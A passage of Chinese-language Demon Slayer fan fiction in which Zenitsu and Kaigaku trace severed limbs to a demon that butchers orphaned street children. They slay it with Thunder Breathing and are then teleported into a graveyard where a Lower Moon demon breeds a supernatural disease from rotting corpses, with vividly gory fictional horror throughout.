“千真万确。当时我们家还看在那个小孩老实的分儿上,请他搬过两天的货。当时看到他那双草鞋编制手法还问过,他说是他家那边的独特编法。那天我一去看那只断脚,就认出来了那个草鞋,不会错!”
“真真是可惜,那小孩挺老实的,还会说话,要不是他老家遭了灾父母都去了,也不会沦为流浪儿。当时我和他越好第二天来帮我送货,结果到时间了找不到他,还以为他是去别的地方去了,没想到他竟然遇到了这种事……那别的断肢,都确定是那些流浪儿的吗?”
“十之八九。这附近经常徘徊的流浪儿少了许多,有些和他们相熟的人也认出了他们的肢体。”
“唉……也是可怜……说起来,你知道吗?”那交谈的声音低了许多:“城南的山下家,他们家刚下葬的老爷子的坟被挖了!!里面的尸体都不见了!”
“真的?他们家老爷子不是病死的吗?怎么……”
“谁知道。得知他们家的事,附近几家的人都去坟地看了看……病死的坟都被挖了!!”
“……”
善逸从那边收回注意力,转头看向了等待自己的师兄,将自己听到的情报一一转述。
“被鬼抓走的都是流浪儿啊……这可不好办。”狯岳扶着下巴严肃思考着。如果是别人,他们还能询问他们的亲人人失踪之前的事情。然而这些流浪儿可没有亲人可问,估计一些人被鬼吃掉都没人知道。
“我们先去出现断肢的地方看一下吧。”狯岳从椅子上起身,两人跟着鎹鸦来到了出现过断肢的小巷。
小巷本就偏僻,加上曾出现在这里的断肢,更是不会有什么人来。此时天色已经暗沉,两个人严肃地探查着小巷中的痕迹。
巷子里并没有很浓重的血腥气味,甚至没有鬼的味道,和他们两个想象的完全不一样。狯岳看向自己的师弟,善逸闭上眼睛仔细倾听了一会儿,睁开眼对师兄摇摇头:“这附近没有鬼的声响。”
怎么会?难道鬼真的不在这附近?那那些断肢哪里来的?
狯岳蹲在地上,认真地观察地上的那点血迹试图从中找出鬼的踪迹。善逸也在四处徘徊,心中微微沮丧。
要是他也有炭治郎那样的嗅觉就好了……要是炭治郎在的话,一定能轻松找到鬼的踪迹的吧?
善逸低眉搭眼地放下一直紧绷着的肩膀。本来想在第一次出任务华丽的杀掉鬼,让师兄更加崇拜自己来着……没想到连鬼的影子都见不到……他的视线放空,发呆地望着面前还在认真搜寻的狯岳身上。忽然,半空中闪过一丝蓝光,下一秒,一个血淋淋的东西凭空出现,直直向下坠去!!
善逸的瞳孔猛然缩紧,他两步上前,闪电般拉住师兄的领子,将师兄向后拖,总算是在那血肉落在师兄身上之前将师兄拖走了。
狯岳本在认真地查看,忽然被师弟拽着衣领拖走,正想问师弟作什么妖,眼前忽然落下一块还在滴血的血肉,吧嗒一下掉在了他刚刚蹲着的位置。
两秒钟后,血腥气随着风进入到了他们的鼻腔中。他们上前一看,被血迹遮盖了大半的东西,还勉强能分出蜷缩的指节。
那掉下来的东西,是一只断手!!
断手从手腕处断开,截面非常整齐,正在汩汩向外流着血,除了血腥气外没有腐烂的气味,是一只刚被砍下来的手。
但是……无论是狯岳,还是听力更加敏捷的善逸,都没有注意到附近有鬼的气息,甚至连皮肉被割开的声音都没有。
太奇怪了。那这只手是怎么出现的?凭空产生的吗?
不管怎么说,这个被割掉手的人还有活着的可能。他们要加快寻找的速度了。
狯岳严肃了脸色,拉着善逸继续向前探查。
从这条小巷中走出,他们在路过一家粮店的时候,听到了店家正在和小厮闲聊:“后街那边的几家店据说都漫着一股臭味儿,他们都猜是哪里有死老鼠臭了,却怎么找也没找到……这几天客人都来我们这条街了,可让生意好点。”
死老鼠的臭味……狯岳转头,和善逸对上视线,两人都理解了对方的意思,一齐朝着后面的街道跑。
来到那条街的入口,隐隐约约的尸体腐烂的味道就穿进了他们的鼻腔之中。他们努力嗅闻味道的来源,脚下一个用力,从街道上跳到了旁边店铺的屋顶之上,寻着味道,在屋顶上找到了几只已经腐烂生蛆了的断手断脚。
这些断肢已经腐烂,但依然能看出他们的断面非常整齐,就连骨头也没有碎裂的痕迹,干干脆脆的截面,像是用激光切开的一般。
“看来这处的断肢之前并没有人发现……”狯岳仔细串联着两处出现残肢的地方的共同点:“偏僻的小巷,还有不会轻易有人的房顶……相对来说都比较隐蔽?”
善逸试图仔细搜索这种蛆虫啃食皮肉的声音,并将自己的听力范围扩大。忽然,他耳朵动了动,拽住师兄的衣袖:“师兄,南边的屋顶之上。”
他们将屋顶上的东西告诉下面的店铺老板,然后顺着善逸搜寻到的声音方向继续查找下一处。当他们重新拐回最开始的那条小巷之中时,天已经黑了。
两个人的脸色都很难看。根据他们找到的断肢数量,这个鬼已经吃了不下二十个人,他的实力肯定不容小觑。关键是,他们在别处也找见了刚砍下来的肢体,也就是说,如果不是这只鬼有特殊能力,那么他和他们二人的位置一直在靠近,然而无论是狯岳还是善逸都没有感受到鬼的气息。
狯岳勉强自己冷静,将所有找到断肢的地方在脑内整合。
小巷、后街商铺屋顶、后街住宅花盆、山林中、前
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街酒铺酒桶之间、大宅后院屋顶、……、后街树上鸟窝、小巷
将他们的位置在脑海中的地图上铺好,刚好围城了一圈!
狯岳猛然抬头,拽上了师弟,两个人往那个圆圈的中心探查!
他们穿过小巷、穿过后街,终于停在了圆圈的中心出,那个地方,一家酒楼灯火通明,狯岳刚想进去一探究竟,忽然被师弟抓住了衣摆。
善逸的表情非常难看,他向着酒楼旁边的院子指了指:“师兄,鬼在那边。”
在明亮的酒楼的衬托之中,那片院子漆黑而阴森,唯一的光源是大门上挂着的两个红色灯笼,带着请君入瓮的邀请意味。
两个人谨慎地靠近了大门,善逸单手捂住耳朵脸色越发难看。他和师兄对视了一眼,然后抬脚踹向大门,“轰”一声,沉重的大门掉了下来,展开了他们向内的路。
在善逸的耳朵里,那种咀嚼生肉的动静停止了一瞬,随即刀叉划物品的动静也消失,带着不满的脚步声,一步步朝着他们的方向前进。
“呼……师兄!跟紧我!”说完,善逸一马当先走入了这恶鬼的居所。
他的脚步极快,跟着鬼的声音穿过漆黑的庭院,“唰”一声打开了那扇紧闭的帐子门,和里面恶鬼猩红的眼睛对上了视线。
“啊啊啊啊!打扰我进食的家伙!!不可饶恕!!”
善逸谨慎地握住腰间的日轮刀,观察着面前的恶鬼。透过洒进屋子里的月光以及旁边酒楼的灯光,他清楚地看见了这只暴怒的恶鬼的样子:细瘦的,像是被布缠绕的桌腿一般的四肢,中间的肚子却膨胀起来,如同一个被水灌满的气球,好似被锐利的东西戳一下就会破裂一般;在那像是气球一样大的肚腹之上的,是一个一眼看过去只能见到嘴的脑袋,被大嘴抢占了位置的两只眼睛像是头顶的褶皱一般微微张开,露出猩红的颜色。
此刻,进食被打断的恶鬼张开嘴咆哮,那像是鲨鱼牙一般尖利的牙齿中间还夹杂着带血的肉块,两条舌头在口腔之中翻搅,如同章鱼的触手一样灵活。
“好恶心!!”善逸没兴趣观察恶鬼的口腔,他刀斩向了恶鬼的脖子,被眼前长相极其抽象的鬼侧身躲了开来,接着在恶鬼口腔之中的舌头猛然弹射出来,如同鞭子一样直直抽向善逸,善逸拉着师兄一个后撤,同时将日轮刀向前斩去,“铿!”的一声过后,日轮刀与鬼的舌头错开,善逸的日轮刀居然没有砍下那条舌头!!
在善逸的攻击下,舌鬼彻底被激怒。他的口腔向上张开到最大,两只盘缩的粗壮舌头每一根都有正常人手腕粗,超过两米长,此刻像是又钢铁铸造的鞭子一般,向着打扰他的人抽了过来!!
善逸连忙躲开那带着破空声的鞭子,向后撤退到师兄身边,严肃对师兄说:“师兄,要小心,那两条舌头非常的坚硬。”说完,善逸握紧日轮刀,正想继续向前,被自己的师兄拉住:“喂,废物,看那边……”
狯岳早早就注意到了那房间之中的东西。乍然一看,以为这恶鬼是占领了哪个屠夫的家,墙上都挂着被分割好的猪肉。然而在恶鬼与善逸较劲时,狯岳认真观察了那房间里的东西,才觉毛骨悚然,全身的鸡皮疙瘩都炸了起来:那挂在墙上的哪里是猪肉,分明是一个个被分割开来的人!!
30.第 30 章
顺着师兄的目光,善逸也看到了那一墙的肉。这些肉有的还算完整,有的只剩下了一半,那内脏全部被掏空,被分门别类地挂在了各个钩子之上;而在这堆肉之下,还有一个被绳子牢牢绑缚着的、缺了一只脚的人,正昏迷着,左小腿上的断面汩汩留着血。
杀鬼这些年来,善逸也见过不少鬼吃人的场面,那些被鬼吃剩的遗骸,每一具都扭曲而残破。然而,没有一具像是眼前这些一样带给他莫大的恶心感,就好像那些在自己眼中活生生的人在这只恶鬼看来,只是可以按照部位分割的畜生。这种错位感让善逸的胃部不停翻腾,一瞬间甚至被这房间所恐吓到。
他想要一刀直接将这个房间砍碎,让那些被残忍地挂在墙上的人从这处恶鬼的巢穴解放,然而不行,那里面还可能有活人!
善逸强行忍下心中的恶心与愤怒,躲开朝着他袭来的鬼舌,一个侧身进到了房子之中,将那位被砍掉了左脚的人捞了出来;而狯岳也注意到了善逸的动作,瞬身抵上了师弟的位置,挡下恶鬼砸向善逸的攻击,拔出了日轮刀和这只舌鬼战斗,抵住了朝他飞来像是钢鞭一样的鬼舌。
注意到闯进来的两只小蚊子从他的食材库中抢出来了一只新鲜的肉材,不知为什么,刚刚还在暴怒之中,想着周边狂甩攻击的舌鬼突然停了下来,两只像是钢鞭一样的舌头缓缓缩回了口中,那张血盆大口被闭上,两只眼睛从额头显露了出来。
“你们……”他注视着面前拖走他食材的两人,面色温和了不少:“是想要来我这里分享美食的吗?”
狯岳接过那人,藏在善逸身后抓紧时间帮那人止血之后转移到安全的地方,留我妻善逸上前与那鬼周旋。
“美食?”善逸被刚刚屋子里的血腥气和□□腐烂的恶臭恶心得不轻,拔刀的手停顿住,怒火在心中猛烈燃烧,让他的脸狰狞而恐怖:“你说的美食,是指那些被你挂在墙上的人吗??”
“不不不。”恶鬼使劲摇了摇头,走向了另一件房间,从里面拖出来了一口大锅:“那些只是待加工品,你们要进口的是我精心烹饪的成品。”
他似是将面前的两人当做了来找自己吃饭的食客,从身后掏出布满了暗色血迹的围裙系在身上,从身后的肉中挑挑拣拣:“我的名字叫做苦舌,我的舌头可是很灵敏的。任何食材都要以最好的形式展现风味。直接生吃掉这些上好的食材是多么浪费啊!我和那些只知道生啃血肉的茹毛饮血的鬼可不一样。”
“我当初可是最好的大厨!然而变成了鬼后我才发现,那些生啃肉的蠢货居然到处都是!太浪费了!!太浪费了!!”
他从墙上的钩子上取下来了一块肉下来:“只有火焰才能激发出食材的美味!!生吃能体会到这种美妙的口感吗??那些浪费食材的家伙!!”提到这里,他似乎很愤怒,口腔中的舌头又在翻搅,似是想要将那些他认为的浪费者通通绞杀掉。
善逸注视者这一切,只感觉到胃中一阵翻搅,早上吃进去的饭食都要被他呕出来了。他强忍着恶心,这个恶鬼的一系列行径更是在他心中的烈火上添油。他怒吼道:“你在邀请人类去啃食他们的同类吗!!!我们可是人,我们不会做出啃食人类的恶鬼行径!!”
“人?没关系没关系,只要你肯接受我的食物,我可以找认识的大人分给你们一点鬼血,到时候你们就可以和我一起分享美味了!!”那恶鬼好像有自己的一套逻辑,他指着墙上的肉说:“这些啊,都是我收集来的食材!肉质细嫩、品相良好!绝对能做出令你们满意的饭食!”
恶鬼转头,发现两个来吃饭的客人都用着敌视的眼神望着他,连忙将肉重新挂好,将手在围裙上擦干净,对着两位志同道合,远道而来的新食客解释道:“放心,那里面不会有你们的亲人的!”他像是很得意,用着细瘦的手将自己的肚子拍得啪啪响:“我可是只抓了那些流浪小孩,这些无父无母的小孩反正也没什么用,堆在哪里还会偷窃、争抢,不如都让我带回来,”恶鬼将两只手合起来,一副我真是做了好事的样子,弯起了那两只只有一点点大的眼睛,眼神依次与那两个即将与他分享美食的人的视线对上:“进到我的胃里,饱了我的腹,还不用担心被家人找上们,让我交出他们的小孩,嘻嘻。”
他谈起吃掉那些流浪儿的语气轻松,就好像在说自己拐走了哪家没人看管的鸡。
苦舌的眼神看向墙上的那些肉,有点可惜道:“只是这些流浪儿的手脚不干净,只能够砍掉了,唉,真是浪费。不过,就算是浪费了,也不能让食客吃到不干净的食材,对不对?”那两只通红的眼睛再次望向两人,似是在向食客讲述菜品的厨师。
恶鬼的视线明明带着友好的邀请意味,却让对上他视线的两人感到毛骨悚然。因为在这只恶鬼的认知里,无论是分割杀掉那些流浪儿并将他们做成菜,还是邀请两位人类去啃食他们的同类,都是在正常不过的事情。他甚至没有追他们两个抢走那个半死不活的人,因为在他的认知里,善逸和狯岳抢走他是为了吃掉他。
这是一直没有一点人性的鬼。他把人当肉,把流浪者当做没有被看管的肉,把流浪的儿童当做没有人看管的鲜嫩的肉。
好恶心好恶心好恶心好恶心好恶心好恶心好恶心
呕吐的欲望冲上两个人的脑袋,就连眼泪都要被逼了上来。两个曾经都是流浪儿的人,此刻看着面前的恶鬼,像是看到了那些曾经在他们流浪路上的一双双带着恶意的眼睛,那些恶意重合到一起,化成了这个说着“饱了我的腹”的鬼。
“你真是……”善逸的头发向前遮住眼睛,也遮住他阴翳的神情。他的手直接摸到了腰间,抬手,抽刀——
“雷之呼吸 一之型 霹雳一闪 六连!!”
唰!!
善逸如同闪电一般,极速射向了还在对他们得意讲述自己的肉来历的鬼!
与此同时,狯岳也从腰间抽刀:“恶心至极的东西!!”
“雷之呼吸 三之型 聚蚊成雷!!!”
经过前几天的对练,两个人之间的战斗默契陡增,狯岳脚步挪移,娴熟地错开师弟霹雳一闪的方向,同时用聚蚊成雷的波状攻击去限制恶鬼的位置,让恶鬼的脱逃更加艰难,加上善逸的霹雳一闪,好几次,
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那只苦舌鬼都差点在两个人的夹击之下被砍掉头。
“可恶的虫子!!”恶鬼的大嘴再次张开,两只舌头重新鞭甩到两个人的身上。善逸落地,再次摆好姿势,再次使出霹雳一闪,直直向着那两条舌头斩过去,就在日轮刀砍下了恶鬼舌头的那刻,那舌头姿势一拐,直接在空中划出了一道蓝色的线,另一根舌头将这蓝色的线横向拉开,一张蓝色的光屏直直出现在了他的身前!!
善逸为了砍掉苦舌鬼的两条舌头,此刻已离那光屏太近,而他的速度太快,根本来不及闪躲,直直撞上了那蓝色的光屏!!
“善逸!!!”
在旁边狯岳的视角之中,善逸撞上那光屏之后,蓝色的屏幕上泛起圈圈涟漪,像是水面般,直接将我妻善逸的身影吞噬!
他瞪着空中挥舞的鞭舌闪电般跳起,奋力朝着我妻善逸的方向伸手,然而却和他飘扬的黄蓝羽织擦手而过,只能眼睁睁地看着他最后的身影消失在蓝色光屏中,而就在他同样靠近时,那光屏却在他眼前闭合,原处只剩下毫无波澜的空气。
狯岳从空中摔了下去,他就地一滚,转身目眦欲裂地看向了那只丑陋的恶鬼:“你把他怎么了??!!”
“嘁,居然没有被砍成两半吗?”看着只剩下一个的小虫子,恶鬼放松了不少,毕竟刚刚那只给他很大威胁的小虫子已经被他送走了,此刻还有心思和狯岳交谈起来:“很好用吧?我去处食材肮脏的手脚就是用的这一招!截面干净利落哦~”
“只是遗憾他没被砍成两半……没关系,到那边后他也讨不了好的。毕竟,他到了那位大人手中,可能还不如让我吃掉呢,嘻嘻!”
狯岳强迫自己冷静下来,仔细分析刚刚恶鬼的话。他说他将抓来的人的手脚分割用的这招,而那些断面干净的手脚都出现在了别的地方……也就是说,这个突然出现的光幕并不会伤害到我妻善逸,只是会将他传送走!!
呼……狯岳大大松出一口气,转脸狰狞地望向这只鬼:“既然你费尽心思将那个保护欲旺盛的蠢货转移走,那刚好,就让你看看我的实力吧!!”
狯岳加快了自己的呼吸节奏,血液汩汩流动,将雷电的力量带去全身。他双腿蓄力,一个后跳让自己落在了房顶之上,然后对准下面的鬼,加强了自己手掌的握力,握着日轮刀的手冒出一排排青筋,将自己的日轮刀从刀鞘中拔了出来,上面萦绕着蓝色的电流,电光滋滋冒响:“雷之呼吸四之型 远雷!!”
蓝色的雷电萦绕在他的全身,电流在他的刀尖聚集,一瞬间,他面色恐怖如恶鬼,挥舞日轮刀转眼斩出了五击,五道带着大量雷电的攻击朝着下方的恶鬼射去!!
在他发出攻击的同时,狯岳继续在日轮刀蓄力,后脚蹬着房顶,雷电加持着他的双腿,如同闪电一般,嗖一下跟着攻击一同来到了恶鬼的眼前,身后的日轮刀上已经蓄满了大量暗红的电光:“五之型!!热界雷!!”
为了躲避狯岳上一击的恶鬼被框在了五道攻击的正中,所以此刻的恶鬼几乎无可避免地要被这第六道攻击给砍中脖子!!
“去死吧!!!”
31.第 31 章
躲开前四道攻击的舌鬼转身就直面了和第五道攻击一齐近在眼前的,充满了毁灭光焰的日轮刀!!
那粗壮的暗红色电流直直朝着他的脖子射来,电光火石之际,就要直接斩下了他的头颅!!
不好!!不行!!被这一招砍在脖子上会死的!!!
一瞬间,苦舌向着另一边的方向微微侧身,硬顶着第五道远雷的攻击躲开了那粗壮的红色电流。而硬接攻击的后果就是,他的左半边身体和右边的手臂噗呲一声后在雷光中爆开。
“呃啊——!!!!!!”
狯岳看一击不成,双脚在恶鬼身上借力转换姿势,还想打出第二击,然而被狯岳砍掉了半边身体的恶鬼也终于意识到了来找他的两个人都不是善茬,再次用舌头划出了传送的屏幕,嗖一下钻了进去,从狯岳的刀下躲了过去!!
恶鬼突然从自己刀下消失,狯岳警惕地落地,在眼前四处搜寻,忽然,背后传来一阵劲风!!
苦舌鬼刚刚才开出了一次远距离传送门传送走那个黄蓝发色的危险小子,此刻再次使用,还是传送自己,在没时间蓄力的情况下,只能够近距离转移了。
从门中传送到狯岳身后的恶鬼狞笑着,血肉聚集在自己的左下肢处,浑身的力气只够快速恢复了他的左腿。
不过足够了!!可恶的虫豸!!今天你必死无疑!!!
他的舌头从口腔中快速伸展,圆滚滚的腹腔极速收缩干瘪,比之前要长的多的舌头带着恶心的粘液快速弹射出来,远远就朝着狯岳的方向猛然甩过去!!
狯岳猛然转身,然而还是被那远远袭击而来的鞭子擦过了后肩,噗呲一声,火辣辣的触感传来,那从身后甩来的鞭子竟是带着尖刺,直接将狯岳的那块衣服连带着皮肤全都拉拽了下来!!
“呃啊!”狯岳强忍住肩膀之上皮肤被撕扯的强烈疼痛,立即用呼吸法止住那附近的血液,防止自己因为流血过多而失去力气,同时腿脚之间闪起电光,绕开攻击的同时高速移动,一秒内冲到了恶鬼身边,带着电光的日轮刀顺着冲力砍向那恶鬼的脖子!!
“嗬嗬!!”放出去的舌头太长,迅速收回时在恶鬼的脖子里挤压发出了渗人的声音,但两只舌头险险地抵挡住了这一道攻击,却被攻击的力道砍得连连后退。眼见要被狯岳的日轮刀砍断那舌头,不得已,恶鬼的舌头再次十字交叉,拉出了一张蓝色法屏幕,顺着冲力倒了进去。
“嘁!!”眼见恶鬼再次逃脱,狯岳的心情越来越急躁。虽说判断出了善逸应该没有被立即杀死,也知道善逸的实力很强大,但是恶鬼的言语总令他很不安。狯岳焦躁地想要立刻杀掉那恶心的恶鬼去寻找善逸汇合,但是这鬼就像只滑不溜秋的恶心泥鳅,不停逃脱他的攻击,让狯岳烦不胜烦。
“唰!!”突然消失的恶鬼重新在他背后出现,依旧是那像鞭子一样的坚硬舌头,此次的狯岳已经知道恶鬼的招式,时刻警惕着四周,依然被抽中了小臂。
狯岳转身,打算再次使出远雷攻向那只恶心的舌头鬼,然而此次的鬼并没有在原地停留,再次交叉舌尖划开传送转移位置到狯岳身后,下一秒攻击就朝着狯岳身上甩过去!!
不行!狯岳警惕着四周,此时恶鬼的攻击简直就像是对练时的我妻善逸的攻击般迅捷,并且还在不停地换位置,无法找准恶鬼的方向,他就没办法砍掉恶鬼的脖子,那么消耗下去输的会是他!!
不能这样被动下去了!!必须要找准恶鬼的位置,然后一击必杀!!
怎么找准他的位置呢??狯岳在恶鬼的攻击之中思考。那一招,可以吗??
狯岳在地上一个翻滚,然后翻身跳起,用日轮刀卡住朝他抽来的攻击:不管怎样!!试试就知道了!!
“雷之呼吸 三之型 聚蚊成雷 改!!!”
轰地一声,狯岳的周围围绕起电花,肉眼看得见看不见的细小电光顺着四周蔓延。
当时他和善逸切磋时,是靠着这些电流连接上善逸攻击时同样产生的电光来确认他的位置。而此时的恶鬼根本造不成带着闪电的攻击,也就没办法靠产生的电光确认位置。
然而此时的狯岳将这些电流分散得更加细小而密集,像是无数只触手一般,从狯岳的身周延伸出去,向着四周的方向蔓延开来。
与此同时,再次变换位置的苦舌鬼绕到了狯岳后方,带着尖刺的舌头随着腹腔的收缩而弹射出去,直直扎向狯岳的后心!!
就在那舌尖靠近狯岳五米之时,“啪”地一声,狯岳伸出的电流触角连接上了恶鬼弹射的舌头。
“嗖!”狯岳明明是背对着恶鬼,日轮刀的攻击却迅速而敏捷,“唰”一声过后,那数次擦破狯岳皮肤的坚硬鬼舌就被他斩掉了一段,那段舌头似是没有反应过来一般,触地后依然在弹动着两三秒后化成了灰。
此招可行!!狯岳加大了电流的延伸,同时将感官蔓延到那些细小的电流之上,认真聆听着他们的反馈。
他怎么反应过来的??明明之前都来不及转身!!恶鬼将自己短了一截的舌头收回来,难以置信地看向距离他十米的那个人。居然能躲过自己的最快速度不说,还能挥刀斩断自己的舌头!!
不,应该是猜的吧?!!
他心中极度不安,但他现在已经没有了退路!
“嗬嗬!!”他再次极速收回自己的舌头,立刻划开空气换位置。随着他的传送使用的次数越来越多,他能传送出去的距离也越来越近,此时的他已经不能依靠传送逃跑了!!
然而,当他在新地方再次探身而出时,又是一声细小的“啪”。
这样小小的电流,在刚刚被两个电闪雷鸣的家伙砸脸的恶鬼看来根本算不上什么。然而在这一声过后,正在恶鬼完全离开那张传送他过来的光屏的那一瞬间,大量的蓝色电流直直冲上了他的脖子!!
“雷之呼吸!!二之型!!稻魂!!!”
狯岳顺着电流的方向踏过墙壁借力,瞬间赶到空中的光屏位置,对准恶鬼的脖子直直挥出日轮刀,转瞬之间,三道速度极快的攻击砍向了同一个位置:恶鬼的脖子!!
“嗬——!!”
在刺眼的电光之下,在恶鬼还没反应过来的转眼
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之间,“唰”一声过去,恶鬼的头颅脱离身体,直直朝着下方坠去!!
亲眼确认这恶鬼已经被自己的日轮刀斩杀,狯岳终于松了一口气,跟随着恶鬼的身躯一起下落。
“嗬!!嗬!!”舌鬼的头颅在半空发出不甘的嘶吼。“我新准备的肉还没吃完!……你们这些虫豸!!不可饶恕!!去死吧!!”
那必死无疑的恶鬼眼中闪过歹毒的光,就在狯岳即将落地的前一秒,用尽最后的力气,用舌尖在地上划出一道蓝色的光屏!!
不好!!在半空中的狯岳根本来不及闪躲!!在他即将陷入恶鬼的血鬼术中之时,只来得及大喊一声:“纹五郎!!”随即,直直地掉到了那如水面一般的光屏之中。
“哈哈哈哈!!我传送不走自己,可不是传送不走别人啊!!”亲眼看到两个人都落入了自己的传送门之中的恶鬼笑得猖狂而充满恶意:“一个两个,不想吃我做得饭,那就都去下弦三大人哪里吃好东西去吧!!我用于逃跑的招式,最后能让这两个人团聚在下弦三大人的肚子里,也不吃亏……”
火焰烧过恶鬼狰狞而扭曲的脸,随后,原地只剩下一地飞灰。那些挂在架子上的人,用着自己被剖开的身体,静静注视着这一切。
随后院子重归寂静,只有远远飞走的乌鸦见到了这一切。
那只乌鸦,也就是狯岳的鎹鸦纹五郎,疾速地飞向了附近的紫藤花之家,在哪里,一位身形高大的人伸手接下了因快速飞行而差点栽在地上的纹五郎。
“有下弦鬼吗?原来是这样。辛苦你了。我会立马动身。”
另一边,狯岳脚下再次踏空,直直摔倒在了地面上。
他迅速转换位置,差点一头撞上旁边地面之上的鼓包周围的石头。
狯岳避开那块石头,翻身站起,警惕地望向四周。那恶鬼临死前拼命将自己转移到的位置,绝对不是什么安全的地方!!
狯岳向四周搜寻,发现自己正身处一片坟地之中,四周弥漫着黑紫色的雾气,除了偶尔的磷火,周围的光亮只剩下了远处的雷光。
等等!!那黄蓝色的雷光,不会是!!
狯岳神色一凛,抽出自己的日轮刀,直直冲着那有雷光的方向冲去。
“咳咳!!”随着他进到这紫黑色浓雾之中,他的鼻尖就蔓延上了一股恶臭之气。这股气息比那间安置舌头鬼的肉食的屋子还要浓郁百倍,光是吸进肺腑中,就让他有股自己的肺泡正在被这不知是合成分的气体腐蚀之感。
“师兄!!!别吸到这些毒气!!!”
那边战斗的身影通过灵敏的听力感应到了师兄的到来,远远发出警告。
晚了。已经吸入了不少的狯岳单手捂住口鼻,迅速从自己的衣服上撕下来一块布条系在了鼻子前,同时快速向着那团雷光的方向跑去,只见到自己刚刚不知道掉到什么地方的傻子师弟正在和只恶鬼拼杀,日轮刀带出的雷电照亮了这一片漆黑的坟地。在这雷光的照耀下,狯岳清晰地看见了师弟的脸,顿时瞳孔一缩。
只见,善逸的半边脸上,布满了紫红色的癍纹!!
32.第 32 章
善逸来不及止住向前的冲势,直直撞向那突然出现在眼前的蓝色光屏之中。
穿过那光屏的感觉像是穿过了一张膜一般,在突破到膜另一边的一瞬间,善逸耳边的声响突然一换,不再是那个血腥的院子,他到达了更加安静的别处。
师兄的心跳声……听不见了。尽管他的听力向着远方延伸,还是无法听见师兄的动静。
他现在的位置,距离师兄,非常远。
善逸按压住一瞬间上涌的焦躁心情,调整好姿势从空中落地,直接踩在了如同烂泥的东西之上,随后延迟出现在他的鼻腔的,是一股浓郁的腐臭味。
剧烈的味道直直冲向他的鼻腔,刺激着他的眼角分泌出泪水,他被这种味道直接呛咳出声,反而吸进了更多浑浊的气体。
他连忙踩着脚下的东西跳开,跳到十米远的位置落地,那恶心的腐肉气味踩终于消散些许,此刻,善逸才终于有余力观察周围的环境。
然而,他转头看向了那片刚刚落地的地方,瞬时呼吸停滞,瞳孔紧缩:只见,刚刚他落脚的地方,赫然是一堆腐烂的死尸!!
那堆尸体已然高度腐烂,堆在下方的尸体有些已经化成了勉强被仅剩的肉包裹住的骨头,而上方的尸体也只是勉强被外面那层皮包裹着人形,里面的□□早已腐烂,化作黄水,像是被轻轻一戳就会爆裂开来,将尸水蔓延到这片土地上。
所有的腐烂尸体都在向外释放着黑紫色的雾气,这些雾气聚集在一起,甚至像是有了实体一般,张牙舞爪地冲着周边的一切活着的生物袭来,在雾气包裹的地方,树木哭死,土地寸草不生,就连傍边五米的地方都有路过的动物尸体。
“呼……哈……嗬……嗬”善逸意识到了自己刚刚吸进去了很多不妙的气体,然而此时已经来不及了,在那阵能遮掩一切的臭气散开一点之后,胸腔被刺激气体腐蚀的烧疼感才终于反应到大脑的感官系统上,与此同时,随着呼吸进入的东西已经经过肺泡到达了他的血液中,逐渐前往他的四肢百骸。
不妙!!不妙!!善逸紧急控制自己的呼吸,利用这样的方法减缓自己的血液流速,将那些被他吸进的东西控制在一定的肌肉范围之内,与此同时,那些被侵蚀的血肉开始分裂,瞬间,善逸的左侧额头、左手手臂上都出现了红紫色的癍纹,密密麻麻,并且还在向外鼓动。
“咳咳!!!”善逸催动身体将那些吸入的有害气体排出,同时强行压下那些鼓动的癍纹,同时,他身体内的变异鬼血也开始发力,将那些被灼伤的血肉恢复,只是那些已经被侵蚀的血肉像是完全与身体分开了一般,像是诅咒一样盘踞在哪里,被恢复后再次侵蚀感染,没办法完全消除。
忽然,善逸的耳朵捕捉到了身后出现了双脚登踩地面的动静。血液停滞、心脏停跳,却依然恶心地活动着。这种熟悉的恶心声音——是鬼!!
善逸极速转身,只见那恶鬼不停地在周围的坟包上跳跃移动,直到来到了那堆腐尸堆之前,闭上双眼鼻子耸动,仔细嗅闻着眼前的东西,然后露出了陶醉的表情,睁开眼睛,像是赞美一罐酿造得极好的酒一般:“不错,这一次的病气才对嘛。”
随后,他微微转头,将脸对准善逸的方向,然而眼神依旧落在那堆腐烂物之上,像是一秒都不舍得移开视线。
“不是说过只要完整的尸体吗?苦舌怎么这回送来了个大活人?”那恶鬼再次闭眼,最后深嗅了一口眼前的味道,然后瞬间睁眼,惊喜万分地对上了善逸警惕的视线:“还是鬼杀队的!不错,我还没试过用鬼杀队的人酿制病气呢,真不错!”
灰黑色的枯发,枯瘦的身材,皮肤是完全没有一丝血色的青灰,完全贴在骨头上,显得身上的绿色和服空空荡荡。头顶和脸侧上有着大大的x型疤痕,眼白病态地发黄,几乎占据了眼眶,只有在对视时,才能看见他细小的眼瞳。
两道视线交错,善逸清晰地在恶鬼眼中看到了那两个字:下叁!
是下弦鬼!!
“第一次任务就遇见下弦鬼……真是够倒霉的。”善逸双手扶上自己的日轮刀,调整身体重心,对上眼前这个看上去病入膏肓的鬼身体肌肉紧绷。“难不成,是被师兄的运气传染了?”
“嘟嘟喃喃在自说自话些什么呢?你,”下弦三三两步来到善逸身周,转着圈观察起这位即将和旁边的腐尸堆在一起的队士,同时深深地嗅闻了一下他身上的味道。
“已经吸进去了这批的病气了吗?”下弦三满意点头,向着善逸的脖子伸出手:“很好,接下来,只剩下你死掉这一步了。来,我保证不会让你收到太多痛苦呦……”
青黑色的鬼爪向着善逸的脖子抓去,就连指甲都泛着不详的灰紫色。
“你才是在自说自话吧?病殃殃的鬼?”善逸抽出日轮刀,极速斩下了朝着他伸来的手。
唰一声过后,下弦三的手啪嗒掉落到了地上。
“哦?还想要反抗我吗?”恶鬼丝毫不在意自己被砍掉的手,咔哒一声将脖子向左偏折到了一个骇人的角度,两只眼睛一上一下在眼眶中翻滚,扫视着善逸脸上胳膊上的癍纹:“你可是吸进去了我的病气了哦?我目前为止酿造而出的最强大的病气,不出片刻,你的身体就会被这些癍纹爬满,到时候就算你不想,也会成为那些腐尸中的一具。”
下弦三收回自己前伸的胳膊,缓缓指向腐尸堆的方向,随着他的动作,他被砍掉的手再次长出,青灰色的指尖直直对准那些冒着不详紫黑雾气的东西,同时眼神死死地看向善逸。
“现在的你还能够被我没有太多痛苦地杀死,之后,你就只能在极其浓重的病痛之中,哀嚎着迎接死亡了。被我养出来的这病气可不得了,只要十五分钟,你全身的肌肉都会被病毒感染占领,四十分钟后你体内的肌肉就会逐渐转化为脓水,到一天之后……”下弦三的眼神阴冷而带着死寂,随后嘴角扭曲到可怖的
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弧度,然后大大地咧开:“你就会变成被人皮包裹着的脓水一堆,成为我继续培养病气时最好的基床,哈哈。”
